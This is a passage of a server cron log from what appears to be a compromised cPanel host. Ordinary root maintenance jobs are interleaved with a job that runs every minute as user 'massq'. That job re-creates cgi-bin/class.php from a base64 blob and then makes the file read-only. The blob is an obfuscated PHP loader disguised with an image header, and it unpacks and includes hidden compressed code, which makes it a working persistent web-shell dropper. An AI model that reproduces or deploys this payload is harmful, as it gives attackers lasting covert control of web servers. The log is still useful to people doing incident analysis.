O0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:24:01 server CROND[24589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:24:01 server CROND[24590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:24:01 server CROND[24591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:25:01 server CROND[24996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:25:01 server CROND[24998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:25:01 server CROND[24999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:25:01 server CROND[25000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:25:01 server CROND[25002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:25:01 server CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:25:01 server CROND[25003]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 12:25:01 server CROND[25001]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:26:01 server CROND[25931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:26:01 server CROND[25932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:26:01 server CROND[25933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:27:01 server CROND[26336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:27:01 server CROND[26337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:27:01 server CROND[26338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:27:01 server CROND[26340]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:28:01 server CROND[26736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:28:01 server CROND[26737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:28:01 server CROND[26738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:29:01 server CROND[27128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:29:01 server CROND[27127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:29:01 server CROND[27129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:30:01 server CROND[27524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:30:01 server CROND[27528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:30:01 server CROND[27531]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:30:01 server CROND[27527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:30:01 server CROND[27533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:30:01 server CROND[27529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:30:01 server CROND[27532]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 12:30:01 server CROND[27526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:30:01 server CROND[27530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:31:01 server CROND[28476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:31:01 server CROND[28477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:31:01 server CROND[28478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:32:01 server CROND[28875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:32:01 server CROND[28876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:32:01 server CROND[28877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:33:01 server CROND[29274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:33:01 server CROND[29275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:33:01 server CROND[29276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:34:01 server CROND[29662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:34:01 server CROND[29663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:34:01 server CROND[29664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:35:01 server CROND[30074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:35:01 server CROND[30076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 12:35:01 server CROND[30079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 12:35:01 server CROND[30078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:35:01 server CROND[30086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X